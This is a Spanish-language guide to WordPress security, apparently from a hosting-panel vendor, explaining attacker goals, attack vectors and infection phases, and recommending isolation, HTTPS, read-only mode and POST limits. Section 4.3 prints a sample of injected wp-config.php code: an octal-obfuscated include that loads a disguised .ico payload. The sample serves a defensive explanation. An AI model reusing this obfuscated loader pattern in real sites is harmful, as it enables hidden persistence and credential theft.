Mecanismos de protección para un Wordpress -- Análisis de ataques, recomendaciones y notas técnicas

#1

Índice

Introducción

A continuación detallamos una serie de medidas y notas a tener en cuenta para tener controlada la seguridad de un wordpress, sus vectores de ataque, y flancos habitualmente usados para romper un wordpress.

El artículo también proporciona un repaso de las medidas y herramientas de seguridad que podemos aplicar usando el panel Core-Admin.

1. Motivación del ataque

Con carácter general, el atacante quiere:

  1. Inyectar código que le permita ejecutar código remoto, usualmente para mandar spam a otras máquinas o para participar en botnets para atacar a otros servidores lanzando desbordamiento de conexiones HTTP, HTTPS con la intención de afectar el servicio.

  2. Estos ataques no se limitan a estos protocolos: pueden usar la máquina para participar en ataques de amplificación con protocolos UDP, normalmente para servicios LDAP, DNS, SIP, NTP, con la mecánica básica de enviar un paquete pequeño que causa una respuesta UDP de mensaje grande (por tanto saturando la red, recursos etc).

  3. Instalar código en la web para ofrecer publicidad selectiva no autorizada: si la web es visitada por un bot de google le ofrece la publicidad (drogas, fármacos, sexo, contactos, etc), mientras que cuando la visita el usuario, no se ve tal publicidad.

  4. Instalar código para mandar Spam a otros servidores.

  5. Instalar código trampolín que les permita ejecutar comandos locales como primeros peldaños en la escalera del escalado de privilegios con la intención de llegar al root de la máquina.

  6. Instalar bandera de “tocado”: conjunto de ataques donde borran el index de la web o instalan un index en alguna carpeta para indicar que la web ha sido vulnerada, causando un daño de imagen.

2. Implicaciones de seguridad

Mantener una web protegida (ya sea Wordpress u otros sistemas) tiene las siguientes implicaciones:

  1. Que no dañen la imagen de la organización/particular con un hackeo público.

  2. Evitar que tengan acceso a listados de clientes o todo tipo de información sensible que puede ser usada como palanca de extorsión.

  3. Dado que un web es potencialmente un centro digital de trabajo, es necesario controlar que las mismas no sean usadas para actividades criminales (como el ataque de otros sistemas).

Por todo esto es importante aplicar todas las medidas de seguridad que sean posibles, asumiendo que todas ellas tienen un coste ya que limitarán el rango de acción.

3. Principales vectores de ataque de un wordpress

  1. Fallo en un plugin o en el código del tema: mientras que el núcleo de wordpress es bastante seguro, no es así con los plugins o el código del tema (theme). Suele ser código menos probado y con un desarrollo más descuidado.

  2. Contraseñas débiles para usuarios administradores: muchos usuarios todavía no están concienciados de que no tienen que usar contraseñas débiles, conocidas o que forman parte del dominio público de contraseñas ya conocidas ( https://haveibeenpwned.com/ )

  3. Contraseñas fuertes pero con una configuración sin certificado HTTPS o que no fuerza el HTTPS que combiando con el uso de redes no seguras (wifis de cafeterías, aeropuertos, hoteles), permiten a los atacantes capturar contraseñas y acertar a la primera.

  4. Fallo colateral en web colocada: un fallo habitual es tener un wordpress totalmente protegido pero que comparte alojamiento con una aplicación antigua en otra carpeta, incluso otro wordpress. En cuanto el atacante encuentre un fallo en alguno de los ficheros, tendrá acceso a todo dentro del alojamiento.

  5. Equipo infectado con virus de captura: existe una familia de virus y trojanos dedicados a infectar equipos para capturar contraseñas localizadas en almacenes estándar (Outlook, Internet Explorer, Filezilla, etc, almacenan las contraseñas en lugares conocidos).

  6. Ataques por fuerza bruta: que potencialmente tienen un éxito bajo, pueden dar con una web donde se usen contraseñas débiles o conocidas.

4. Cómo se desarrollará el ataque

A continuación se describen los pasos habituales que sigue un atacante para implementar un hacking de cara a conseguir alguno de los objetivos anteriores:

4.1 Fase arranque del hacking:

  1. Búsqueda de fallos conocidos en algún plugin, tema (theme), o en el propio wordpress.

  2. De manera indirecta, a través de notificaciones de cuentas capturadas de equipos infectados o equipos interceptando tráfico de redes no seguras acceder con el administrador del wordpress.

  3. De manera menos efectiva, pero muy habitual: intentar conjunto de usuarios y contraseñas conocidas (fuerza bruta).

4.2 Fase desarrollo del hacking:

Una vez conseguido alguno de estos puntos, el atacante subirá un primer fichero de hacking. A su vez, con este fichero, subirá otros ficheros de hacking en distintas localizaciones y usando formatos distintos.

El primer fichero de hacking lo dejará de usar: la intención es desviar la atención a los nuevos hackings de manera que el administrador/desarrollador se fije en ellos y no vea el hacking original.

Para este objetivo puede cambiar las fechas de modificación para camuflar la actividad.

De esta manera el atacante persigue poder reproducir el ataque y poder repoblar la infección en caso de que los administradores/desarrolladores limpien parte del hacking.

Sin embargo, en cuanto quede alguno de los ficheros de hacking, incluyendo el original: el hacking podrá ser recuperado por parte del atacante.

En esta fase el atacante intentará no molestar ni realizar acciones de ataque a otros sistemas, enviar spam, etc. Querrá pasar desapercibido.

4.3 Fase consolidación del hacking

Una vez subidos varios ficheros de hacking, con distintas fechas, formatos y localizaciones, el atacante intentará modificar ficheros esenciales como el index.php, wp-settings.php y similares para introducir código de interceptación. Un ejemplo sería el siguiente:

/wp-config.php
<?php
/6b696/

@include “\057v\141r\057w\145b\163/\143h\157o\163g\154o\142a\154m\141r\153e\164i\156g\056c\157m\057h\164m\154/\167p\055a\144m\151n\057j\163/\167i\144g\145t\163/\0560\0666\0704\1452\066.\151c\157”;

/6b696/

Este código de interceptación permitirá al atacante:

  1. Conocer las contraseñas de todos los participantes ya que son ficheros cargados por el wordpress cuando hace cualquier actividad, incluyendo hacer login.
  2. Poder ejecutar código de hacking sin la necesidad del método POST.

5. Medidas de seguridad recomendadas por nivel de efectividad

Con los vectores principales descritos junto con los principales técnicas de ataque, a continuación describimos las principales medidas que se pueden adoptar para proteger un Wordpress:

  1. Separar los productos web: una web, un alojamiento: nunca mezclar webs y productos distintos. Si dispones de un wordpress para la landing y otro para el blog, sepáralos en alojamientos distintos:

    Debido al diseño que tiene core-admin.com, cada alojamiento ejecuta con usuarios independientes de manera que el hackeo en un alojamiento no afectará inmediatamente al resto.

    Así se crea un alojamiento con #CoreAdmin:
    Como crear un alojamiento web desde Core-Admin

    Ventajas: aislar productos también aislarás problemas y configuraciones.

    Desventajas: te obliga a separar los productos. Más alojamientos pueden significar más coste y algo más de trabajo de gestión.

  2. Protección contra fuerza bruta: de manera que la web pueda bloquear por IP a un posible atacante que está intentando distintas contraseñas.
    Core-Admin ya dispone de una protección automática para wordpress localizados en una máquina donde esté ejecutando.

    Para ello, asegúrate de que el plugin Core-Admin Wordpress Login Tracker esté activado:

    image
    image.png1273x163 23.5 KB

    Ventajas: permite bloquear a nivel IP (administrador) cuando se alcanza un fallo continuado de logins. Este plugin es más potente que otros plugins similares (WordFence y similares) ya que trabaja en conjunción con Core-Admin para emitir un bloqueo a nivel IP.

    Desventajas: ciertos usuarios encuentran molesto o les crea incertidumbre perder conexión total con la máquina cuando fallan el login varias veces.

  3. Instalar certificado de seguridad SSL/TLS y forzar la redirección HTTPS: esto permitirá cifrar todas las comunicaciones dificultando la captura de contraseñas.

    Sin embargo no solo vale instalar el certificado SSL/TLS: hay que asegurarse de que la web no permita servir tráfico con HTTP. Tiene que ir todo con HTTPS.

    Así es como se configura el certificado let’s encrypt:
    https://www.asplhosting.com/portal/es/como-configurar-lets-encrypt-en-su-alojamiento-compartido-o-servidor

    Certificados profesionales disponibles:
    https://www.asplhosting.com/portal/es/servidores/certificados-ssl

    Ventajas: protección de las comunicaciones. Requerido en varios escenarios.

    Desventajas: algo más de coste, dedicar tiempo a reconfigurar la web para soportar HTTPS.

  4. Activar modo lectura de la web: con esta medida nos aseguraremos de que la web no pueda ser modificable, incluso con un fallo de seguridad.

    Con esta medida se eliminan muchos de los vectores pero si el atacante conoce alguna contraseña o tiene posiblidad de acceder a la base de datos, podrá modificarla para aplicar redirecciones, insertar publicidad. etc.

    Así es como se activa el modo lectura/escritura con Core-Admin:
    https://www.asplhosting.com/portal/es/como-pasar-a-modo-lectura-tu-alojamiento-con-core-admin

    Ventajas: medida de seguridad avanzada con niveles de protección muy elevados. Medida básica para cualquier escenario donde se quiera tener garantías de que no se ha modificado la web.

    Desventajas: obliga a tener que activar modo escritura para poder subir imágenes o actualizar la web. No protege ante ataques con usuarios válidos a la base de datos. Algunos usuarios la encuentran molesta o excesiva.

  5. Limitar la operación POST contra la web para ciertas IPs: medida avanzada y que proporciona unos niveles de seguridad altos.

    Al limitar las operaciones POST a ciertas IPs impides prácticamente la totalidad de operaciones de modificación, login, subida de ficheros, etc.

    Esta medida proporciona una protección elevada pero también asume que la web no está hackeada. En caso de estarlo, cabe la posibilidad de que el atacante haya instalado un fichero que opere con comandos GET.

    Así es cómo se limita el POST por IPs para una web con Core-Admin (requiere administrador):
    Cómo limitar una web para que sea accesible sólo desde ciertas ips, redes o hostnames con Core-Admin -- también método POST

    Ventajas: protección muy elevada, prácticamente elimina la posibilidad de recibir hacking.

    Desventajas: engorroso para la administración, requiere IP fija o estar administrando constantemente el listado de ips autorizadas. Puede hacer que algún sistema publico de la web deje de funcionar por estar limitado el método POST.

6. No se menciona mantener actualizada la web, ¿por qué?

Esta cuestión es controvertida ya que no protegue contra ciertos tipos de ataque y recomendar la actualización de un wordpress en producción sin la supervisión de un profesional puede ocasionar problemas desde el fallo en parte de la funcionalidad o incluso el fallo completo del la web.

Por tanto:

  1. Actualizar la web siempre es recomendable si se está controlando lo que se está haciendo. Recuerda que Wordpress.org no da ninguna garantía de que sus actualizaciones funcionen con los plugins y temas que tengas actualizados.

  2. Sólo actualizar no tendrá ningún impacto si las claves son débiles, se usa la web sin SSL desde redes no seguras, o se mezcla la web con productos con fallos.

  3. Actualices o no, las medidas mencionadas en este artículo son independientes y protegen la parte base de la web, su soporte en disco y mensajes que son permitidos.

  4. Las medidas de límite de POST por IPS junto con el modo lectura son capaces de proteger webs con fallos conocidos y con actualizaciones pendientes.

7. Qué relación guarda el plugin Core-Admin Wordpress Login Tracker y otros plugins de protección ante ataques por fuerza bruta

Existen el mercado distintos plugins para proteger y bloquear contra fallos de login por fuerza bruta. Todos ellos funcionan bastante bien pero si dispones de Core-Admin, es mejor usar el plugin Core-Admin Wordpress Login Tracker (CoreAdmin WLT) por los siguientes motivos:

  1. Core-Admin WLT bloquea a nivel IP de manera que el atacante pierde la capacidad de enviar peticiones la web. Con el resto de plugins (tipo WordFence) el atacante sigue pudiendo enviar peticiones a la web.

  2. Core-Admin WLT se integra con el gestor de bloqueo IP de Core-Admin de manera que puedes gestionar y llevar un histórico de cuándo se bloqueo, el motivo o aplicar listas blancas:

    Cómo comprobar si tengo una IP bloqueada con mi panel Core-Admin

  3. A diferencia del resto de plugins de protección que modifican el .htaccess, Core-Admin WLT bloquea a nivel de IP del sistema (route o iptables). Esto hace que no dependas de poder perder cambios personalizados en el .htaccess o tener que ser capaz de poder escribir en el .htaccess (modo lectura).

Por estos motivos, no recomendamos tener Core-Admin WLT activado al mismo tiempo que otros plugins: sólo crea ruido y potencialmente le quitará la posibilidad a Core-Admin WLT de bloquear a nivel IP si el otro plugin lo hace antes.

Dispone de documentación sobre la gestión y la administración del plugin WLT en el siguiente enlace:
Core-Admin Wordpress Login Tracker (Plugin Wordpress CoreAdmin WLT)

8. Conclusiones

Dependiendo de la seguridad que se desee, se pueden implementar distintas medidas.

  1. Seguridad básica: Si es una web sencilla con usuarios que no toleren las limitaciones, se recomienda separar webs y el certificado de seguridad.

  2. Seguridad media: Si es una web corporativa pero administrada desde ips dinámicas, se puede implementar el modo lectura junto con las medidas del nivel básico.

  3. Seguridad avanzada: Si es una web corporativa principal, se puede implementar el límite POST por IP y todas las medidas del nivel medio y básico.

Core-Admin Wordpress Login Tracker (Plugin Wordpress CoreAdmin WLT)
Manual recomendaciones para preparar una campaña de visitas